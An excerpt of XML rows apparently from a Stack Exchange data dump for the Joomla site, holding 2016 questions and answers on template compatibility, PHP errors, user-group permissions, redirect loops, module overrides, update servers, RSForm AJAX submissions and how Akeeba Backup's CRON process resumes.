  <row Id="15045" PostTypeId="2" ParentId="9411" CreationDate="2016-01-22T05:11:39.607" Score="0" Body="&lt;p&gt;RocketTheme do a wonderful job updating their older templates to work on newer versions of Joomla. Check the compatibility matrix for which templates are responsive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rockettheme.com/joomla-templates-compatibility-matrix&quot; rel=&quot;nofollow&quot;&gt;http://www.rockettheme.com/joomla-templates-compatibility-matrix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an older RocketTheme template with no responsive option, I recommend choosing a newer responsive RocketTheme template and customising the CSS along the lines of the previous template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your current template isn't too old, the module position names may still work without any changes.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-01-22T05:11:39.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15046" PostTypeId="2" ParentId="15041" CreationDate="2016-01-22T05:22:22.090" Score="2" Body="&lt;p&gt;A blank screen in Joomla mostly signifies a php error. Check in your configuration.php file the level of error reporting and set to maximum  or development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should then be able to see any errors that are occurring after the update.&lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2016-01-22T05:22:22.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15049" PostTypeId="2" ParentId="15027" CreationDate="2016-01-22T08:17:12.280" Score="0" Body="&lt;p&gt;There are obvious places to look such as the template &lt;code&gt;index.php&lt;/code&gt; file but a Joomla install has thousands of files and the only way to be confident that you have identified all the compromised files is scan the whole file structure in your web hosting account with a reliable and recently updated scanning tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most useful tool for this on a Joomla website is the &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; (formerly myjoomla.com) security tool from Phil Taylor. It's not free but very affordable. mysites.guru quickly identifies compromised files and can restore any changed core Joomla files to the original versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other paid services that can help with scanning such as &lt;a href=&quot;https://sucuri.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;sucuri.net&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T09:03:04.583" LastActivityDate="2019-09-07T09:03:04.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15050" PostTypeId="1" CreationDate="2016-01-22T10:12:41.383" Score="1" ViewCount="618" Body="&lt;p&gt;I am getting the following error message on my Joomla site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: require(): Cannot redeclare class mailtohelper in /home/web/public_html/joomla/components/com_content/helpers/icon.php on line 84&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated&lt;/p&gt;&#xA;" OwnerUserId="7664" LastEditorUserId="3650" LastEditDate="2016-03-08T00:18:51.780" LastActivityDate="2017-01-19T09:57:12.353" Title="Fatal error: require(): Cannot redeclare class mailtohelper" Tags="|fatal-error|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15051" PostTypeId="2" ParentId="360" CreationDate="2016-01-22T10:44:05.727" Score="8" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; (formerly myjoomla.com) does everything you are asking for:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;✔ manage Joomla websites at different versions centrally for&#xA;different clients&lt;/p&gt;&#xA;&lt;p&gt;✔ update Joomla&lt;/p&gt;&#xA;&lt;p&gt;✔ update extensions&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;plus a great deal more:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;✔ scan for malware&lt;/p&gt;&#xA;&lt;p&gt;✔ restore compromised core Joomla files back to the original files&lt;/p&gt;&#xA;&lt;p&gt;✔ automate backups&lt;/p&gt;&#xA;&lt;p&gt;✔ uptime monitoring and alerts&lt;/p&gt;&#xA;&lt;p&gt;New features are regularly being implemented.&lt;/p&gt;&#xA;&lt;p&gt;You might also consider &lt;a href=&quot;https://watchful.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;watchful.net&lt;/a&gt; which has similar functionality and seems to be more affordable up to 25 websites. For more than 25 websites, the &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; unlimited sites option may be better value.&lt;/p&gt;&#xA;&lt;p&gt;I am not affiliated with mysites.guru but find it useful for managing the 50 Joomla, WordPress and HTML websites I look after:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c4xYL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c4xYL.png&quot; alt=&quot;mySites.guru Screen Capture&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2021-10-29T08:03:42.277" LastActivityDate="2021-10-29T08:03:42.277" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="15052" PostTypeId="1" CreationDate="2016-01-22T11:17:31.897" Score="5" ViewCount="176" Body="&lt;p&gt;I need to allow access to an untrusted person to a site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the &quot;Administrator&quot; user-group is not allowed to upload or edit php files, install extensions, or any other stuff that would allow that user to take full control of the website. So, it seems what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how important are the risks of doing that? I would like to allow this user use JCE editor as well. Have anyone of you experienced any problems with this approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that in joomla.com if you launch a website you get an Administrator user-group, so I imagine that they are not providing a full-hosting, and limiting their users access for security reasons. That's something similar to what I need. But I see that there are some differences between Joomla.com Administrators' access and the default Administrator user of a Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any feedback&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="126" LastEditDate="2016-01-22T15:30:00.227" LastActivityDate="2016-04-24T10:28:02.070" Title="It is safe to allow access to Joomla default Administrator user-group?" Tags="|joomla-3.x|administrator|user|security|user-groups|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15053" PostTypeId="2" ParentId="15052" CreationDate="2016-01-22T12:34:56.430" Score="2" Body="&lt;p&gt;It is usually best practice to only add users to the group(s) that they need e.g. Registered, Author, Editor, Manager, Administrator etc. to perform their role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an explanation of the different default groups and privileges, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial#Default_Groups&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial#Default_Groups&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;joomla.com is a little different as many of the administration features have been removed. For example, you don't have access to install extensions whether you are an administrator or not.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-01-22T12:34:56.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15054" PostTypeId="2" ParentId="15052" CreationDate="2016-01-22T15:50:13.873" Score="4" Body="&lt;h2&gt;Default ACL&lt;/h2&gt;&#xA;&lt;p&gt;Neil said it right - it's recommended to give users as many permissions / privileges as they actually need or have to. It is very likely that for this person the Manager user group would be sufficient, If for example you only want this person to be dealing with content.&lt;/p&gt;&#xA;&lt;h2&gt;Custom ACL&lt;/h2&gt;&#xA;&lt;p&gt;However, your needs may be different - so keep in mind that you can always create custom ACL in Joomla, with your own Usergroups and View Access Levels.&lt;/p&gt;&#xA;&lt;p&gt;But I wouldn't recommend to start messing with those on your live site, especially if you have not previous experience. You could experiment on a testing environment to see how it works, and how you could setup your own ACL.&lt;/p&gt;&#xA;&lt;p&gt;For example, you can have special access permissions on components, modules, menu items, categories, articles.&lt;/p&gt;&#xA;&lt;p&gt;In addition there are other 3rd party extensions that give even more options and capabilities, like building a custom admin menu for your backend users...  - you could check at JED for this.&lt;/p&gt;&#xA;&lt;h2&gt;JCE and Editors&lt;/h2&gt;&#xA;&lt;p&gt;Joomla allows per user Editor assignment. So you can assign to your users the desired Editor.&#xA;Now JCE itself, comes with profiles. You create JCE profiles that contain predefined set of features and permissions and you can assign those profiles to users, usergroups among other assignment options.&lt;/p&gt;&#xA;&lt;p&gt;So, you can create a simplified JCE profile, that will have only the interface and JCE plugins you want to allow, plus some obvious restrictions like inserting php, js etc, and you can assign this profile to your users.&lt;/p&gt;&#xA;&lt;h2&gt;Update for your comment on your own question:&lt;/h2&gt;&#xA;&lt;p&gt;Here you can read more regarding Joomla ACL and the default usergroups:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&quot; rel=&quot;nofollow noreferrer&quot;&gt;User Group/Access Levels&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla ACL&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that in the first link, you will read that administrators are allowed to perform installations, but this is not actually true for the recent Joomla versions. Administrator don't get access to the Installer component, so the part of your question if an administrator can upload and install server-side scripts is covered.&lt;/p&gt;&#xA;&lt;p&gt;However, the exact level of permissions and access you want to give to this user is up to you. As described earlier in my answer, you can create a customized ACL for this user, allowing him only certain access. Use also JCE's profiles, to give him certain abilities when writing content - so for example don't allow him to write php, js inside the articles, restrict him on the html elements he can use or the files formats he is able to upload. All these are up to you to decide how much you trust this person and what you want him to do in your site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-04-24T10:28:02.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15055" PostTypeId="1" CreationDate="2016-01-23T05:47:21.463" Score="1" ViewCount="183" Body="&lt;p&gt;I'm trying to find existing component to create a catalog with custom search (could be part of component or separate module). I've already tried SobiPro, OS CCK, JU Directory, SpiderCatalog Lite but without success - some of them are just too complicated for me, it should be free, we're now tight on budget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of catalog is to keep information about car engines, with possibility to filter Make&gt;Model&gt;Year (3 dropdowns, need to pick Make first, then Model, then Year..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories should be Make/Model only, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Audi / A1, A2, A3 ... Volkswagen / Golf, Passat etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also should be clickable (pictures of Makes, then pictures of Models) and in Models there should be list of Model years with engines. (so, if using filtering, it will go directly to Model that was being made in that Year). Nice example is &lt;a href=&quot;http://goo.gl/CYbUvc&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/CYbUvc&lt;/a&gt; only we want to separate different Models, so one more step from Make to engine..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating categories is fine, I was able to create them in JU Directory and SobiPro, but I can't figure out how to enter Year for engine. For example Audi had A4 model made between 1995-2001 with 1.8T AEB engine. If I filter Audi&gt;A4&gt;1998 it should open Model subcategory A4, scroll if necessary to production years (1995-2001) with all engines where I can click on my engine. Also, this engine could be used in VW, Skoda and Seat cars, so I need to assign it to multiple Models with different Years. (and here I'm totally lost)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every engine needs fields like Make/Model, engine code, kw, bhp, ps and I'd like to put there also what kw/ps members of site achieved (by tuning, only one number that will be added by me)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice!&lt;/p&gt;&#xA;" OwnerUserId="7670" LastEditorUserId="3650" LastEditDate="2016-03-08T00:58:03.737" LastActivityDate="2016-03-08T00:58:03.737" Title="Need component for specific type of catalog with filtering" Tags="|joomla-3.x|component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15056" PostTypeId="1" AcceptedAnswerId="15058" CreationDate="2016-01-23T08:07:48.507" Score="1" ViewCount="484" Body="&lt;p&gt;I am refactoring a website which has the main menu items that link directly to a specific article of corresponding categories.&lt;br&gt;&#xA;Now for each of these menu items, there are children blog category menu items (hidden), for each of these categories.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until last night, this setup was working fine.This morning, when I clicked on the main menu items, I am getting &lt;strong&gt;&quot;Redirect Loop&quot;&lt;/strong&gt; on the browser. The same happens if I try to reach at the article that is linked with the single article menu items, from within the category blog.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No SEF extension is being used, nor there is something special in the htaccess that could produce this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that Joomla is getting confused and is going back and forward between the possible urls for that article. &#xA;Note that I am also getting a redirect loop with Joomla's core SEF and rewrite disabled for these articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So trying to access the article  with its non-sef url like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=11catid=8&amp;amp;lang=en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting a redirect loop for it, which ends up with a url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;amp;id=18&amp;amp;amp;lang=en&amp;amp;amp;view=article&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is actually the url that I am redirected and that stacks on the browser for all articles in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-01-27T16:27:55.377" LastActivityDate="2016-01-27T16:27:55.377" Title="Redirect Loop for category article that is linked on a menu item" Tags="|url|sef|redirect|error-handling|error-reporting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15057" PostTypeId="2" ParentId="15055" CreationDate="2016-01-23T09:15:31.793" Score="0" Body="&lt;p&gt;I'm not aware of any existing simple free component that will do this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably do this with &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/chronoforms&quot; rel=&quot;nofollow&quot;&gt;ChronoForms&lt;/a&gt; or one of the &lt;a href=&quot;http://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow&quot;&gt;other forms extensions&lt;/a&gt; with some custom PHP and JavaScript code but it would not be especially simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChronoForms is free to download but a small contribution is required to remove the link back to the developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example code, search the web for &quot;three level dynamic drop down&quot; or &quot;triple dynamic drop down&quot; or similar or search the &lt;a href=&quot;http://www.chronoengine.com/forums.html&quot; rel=&quot;nofollow&quot;&gt;chronoengine.com forums&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-01-23T11:21:55.807" LastActivityDate="2016-01-23T11:21:55.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15058" PostTypeId="2" ParentId="15056" CreationDate="2016-01-23T11:36:12.707" Score="1" Body="&lt;p&gt;Just sorted this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things happened here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First there was a 500 error produced by Joomla, because of a MySQL query - from a module.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This website had a setting (inherited from previous development) to redirect to a custom Error article page. However this page isn't available anymore, resulting to a new 404 error, which again was trying to redirect to itself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So a Module's syntax error in the MySQL query, ended up manifesting itself with a Redirect Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Approaches that helped me troubleshoot this one:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The fact that any of the Menu Items I was trying to reach at, were redirecting and ended up with a redirect loop to the same url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php?option=com_content&amp;amp;id=18&amp;amp;lang=en&amp;amp;view=article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked in the backup of the old site implementation and found the article ID - it was an article for custom 404 error page. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The most common debugging technique: Start disabling 3rd party extensions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setting up a clean Joomla Installation and try to recreate the same conditions - configuration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Lastly, I haven't yet found out why Joomla is still trying to redirect to that old article for the error page... but I guess something hidden would be somewhere, which will reveal itself at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also wrote to the module developer about the certain issue of his module, which under certain conditions generates wrong sql query.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-01-23T19:05:40.813" LastActivityDate="2016-01-23T19:05:40.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15059" PostTypeId="1" AcceptedAnswerId="15061" CreationDate="2016-01-23T14:41:39.940" Score="2" ViewCount="495" Body="&lt;p&gt;I'm attempting to show a module inside the com_content/article/default.php file but it fails. Here is the php code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;mySearch&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;     jimport( 'joomla.application.module.helper' );&#xA;     $module = JModuleHelper::getModule( 'finder' );&#xA;     $attribs['style'] = 'html';&#xA;     echo JModuleHelper::renderModule( $module, $attribs );  &#xA;  ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7551" LastEditorUserId="126" LastEditDate="2016-01-23T18:40:11.110" LastActivityDate="2016-01-23T19:09:13.130" Title="How to show a module inside com_content/article/default.php" Tags="|joomla-3.4|articles|overrides|module-display|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15061" PostTypeId="2" ParentId="15059" CreationDate="2016-01-23T19:01:37.217" Score="5" Body="&lt;p&gt;Assuming with fails you mean it simply doesn't show on the article page and not that you are getting any other kind of errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you posted seems okay and should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I guess it might be one of the following reasons:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Module is not enabled; - &lt;strong&gt;The module must be enabled.&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Module is not assigned to the current menu item for that article. You may want to try to &lt;strong&gt;assign it to all pages/menu items&lt;/strong&gt; till you will be able to see it being displayed.  &lt;/li&gt;&#xA;&lt;li&gt;Possibility that the module has special viewing access levels. &lt;strong&gt;You must have the needed access level to see the module&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure those above conditions are met.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-01-23T19:09:13.130" LastActivityDate="2016-01-23T19:09:13.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15064" PostTypeId="1" CreationDate="2016-01-24T20:22:54.947" Score="7" ViewCount="1001" Body="&lt;p&gt;I am bit confused and need some recommendation for a best approach to setup an update server for a collection of extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a component, library and a plugin which I put inside a single package.  I got a package xml manifest and also got individual manifest for each component, library and a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I have the Update server at package level as collection?  Or should I have update server for each extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update (26/01/2016): Gone through this link &lt;a href=&quot;https://docs.joomla.org/Deploying_an_Update_Server&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt; and it is not providing me any info regarding package upgrade... Should I go with a collection type???&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2016-01-25T21:00:00.113" LastActivityDate="2016-01-27T01:36:54.737" Title="Update server for a package or individual extention" Tags="|joomla-3.x|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15065" PostTypeId="1" AcceptedAnswerId="15328" CreationDate="2016-01-24T21:24:56.013" Score="2" ViewCount="1754" Body="&lt;p&gt;I'm in the process of making an administration app for Joomla RSform! pro. The app is hosted as an article so it is on the same domain as Joomla itself.&lt;br&gt;&#xA;I need to move or copy a submission from one RSform to another. The fields on the two forms, are not necessarily the same, but most of them are, however I can easily find witch fields that are on the new form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done untill now is that I get all the fields, and then make a javascript object looking something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;formElements = {&#xA;    form:{&#xA;        username:'username',&#xA;        something:'something&#xA;    },&#xA;    hidden:{ somethinghidden:'somethinghidden'}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my question is now: How do I send this to the rsform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the jQuery.ajax, but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({&#xA;    method: &quot;POST&quot;,&#xA;    url: '/index.php?option=com_rsform&amp;amp;formId=' + fromID,&#xA;    data: formElements,&#xA;    timeout: 10000,&#xA;    dataType: 'html'&#xA;}).fail(function (msg) {&#xA;}).done(function (msg) {&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the url is the same as the one that is in the  tag on the submission form. So I guess this is correct as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also made a fake nodejs server where I try and submit to using the normal forms that RSforms provide, and the post object I got from there is identical to the object i create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Do I need to set some headers or something? or what am I missing...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help, and my question make sense...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/thanks..&lt;/p&gt;&#xA;" OwnerUserId="7676" LastEditorUserId="126" LastEditDate="2016-01-24T23:21:30.223" LastActivityDate="2016-02-18T17:19:54.703" Title="Submit to RSform! pro from anywhere using jQuery ajax" Tags="|joomla-3.x|javascript|ajax|rsform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15066" PostTypeId="1" AcceptedAnswerId="15068" CreationDate="2016-01-24T22:48:59.223" Score="5" ViewCount="169" Body="&lt;p&gt;This is just a general question into how the Akeeba backup system works when called from a cron job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have traced the coded as much as I can and understand that its called from the front end and then starts the backup from the back end and then redirects the browser back to the step function which checks where the backup is up to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how does the step function know where it is up to? How does the server keep processing the backup when the browser has been redirected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have crawled the web trying to find information on how this actually works and can't find any. any held or explanation would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lee&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2016-01-25T06:55:49.450" Title="How does the akeeba backup actually work for cron jobs" Tags="|joomla-3.x|session|akeebabackup|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15067" PostTypeId="1" AcceptedAnswerId="15073" CreationDate="2016-01-25T04:04:30.490" Score="2" ViewCount="152" Body="&lt;p&gt;Please see the image, I got the error just shortly after   I upgraded Joomla 2.5 website to Joomla 3.4.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vvU88.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vvU88.png&quot; alt=&quot;image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will really be a great help for me anyone can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7103" LastEditorUserId="1538" LastEditDate="2016-01-25T08:21:34.280" LastActivityDate="2016-01-25T12:22:51.310" Title="Error after Upgrading Joomla 2.5 to joomla 3.4.4" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15068" PostTypeId="2" ParentId="15066" CreationDate="2016-01-25T06:55:49.450" Score="8" Body="&lt;p&gt;I am the developer of Akeeba Backup. There are two different CRON scripts supplied with Akeeba Backup Professional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommended method is using the native CRON script which bypasses the web server entirely and runs the backup process essentially as a standalone PHP command line application. But that's not the object of your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The legacy backup method uses a special front-end URL indeed. The first URL you hit starts a backup using a specific profile and records that in the database under a specific Backup ID. Some backup work runs. At this time the backup engine state is serialized and committed to temporary storage. An HTTP redirection is issued. When you hit the new URL the backup engine state is read from the temporary storage, unserialized and the backup process resumes. This serialization/redirection/unserialization dance continues until the backup is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, this does not really happen by calling the back-end of the application. Both the front-end (legacy remote backup) and back-end backup controllers implement a similar strategy. The only difference is that the front-end issues HTTP redirections whereas the back-end returns a JSON object for the client-side Javascript to process and decide whether to run the next backup step. The not-so-secret sauce is in the backup engine itself which is stored in the back-end directory of the component, I guess that's what you were trying to trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second and most important is understanding why that works, at all. Because of the serialization/unserialization the internal backup engine state is preserved through the redirection. The trick is that the backup engine uses a Factory object with support for serialization and unserialization. I have blogged about it in October 2009 at my site, dionysopoulos.me. Search Google for &quot;A serializable PHP5 Factory pattern&quot; on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That serializable factory is exactly how the backup engine knows where the backup is up to every single time you resume the backup on a new page load. You are welcome to use this code on your projects implementing a long running process.&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2016-01-25T06:55:49.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15069" PostTypeId="2" ParentId="14980" CreationDate="2016-01-25T08:10:34.483" Score="2" Body="&lt;p&gt;I would definitely try to do this with a form component. Chronoforms has been mentioned already, my favourite is RSForms Pro. It lets you run any code at any point in form processing. You can enter code directly in the form settings or load external files.&#xA;Something like Sourcerer can let you run any code almost anywhere. But I'd only use that for small &quot;quick &amp;amp; dirty&quot; hacks, not for a workflow like the one you describe here. &lt;/p&gt;&#xA;" OwnerUserId="4142" LastActivityDate="2016-01-25T08:10:34.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15070" PostTypeId="2" ParentId="14776" CreationDate="2016-01-25T08:28:06.120" Score="-2" Body="&lt;p&gt;If you are using Linux, make sure installed components have correct permissions. &lt;/p&gt;&#xA;" OwnerUserId="7299" LastActivityDate="2016-01-25T08:28:06.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15071" PostTypeId="2" ParentId="14986" CreationDate="2016-01-25T09:09:59.033" Score="1" Body="&lt;p&gt;You need create an &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;override&lt;/a&gt; for this results layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Templates&lt;/strong&gt; &lt;br/&gt;&#xA;- In left menu select &lt;strong&gt;Templates&lt;/strong&gt; under &lt;strong&gt;Styles&lt;/strong&gt;&lt;br/&gt;&#xA;- Select your template name&lt;br/&gt;&#xA;- Select &lt;strong&gt;Create Overrides&lt;/strong&gt; Tab&lt;br/&gt;&#xA;- In &lt;strong&gt;Components&lt;/strong&gt; Column select &lt;strong&gt;com_search&lt;/strong&gt; &gt; &lt;strong&gt;search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can find the files in this path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/templates/your_template/html/com_search/search/&lt;strong&gt;default_results.php&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here you can create your changes&lt;br/&gt;&#xA;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-01-25T09:09:59.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
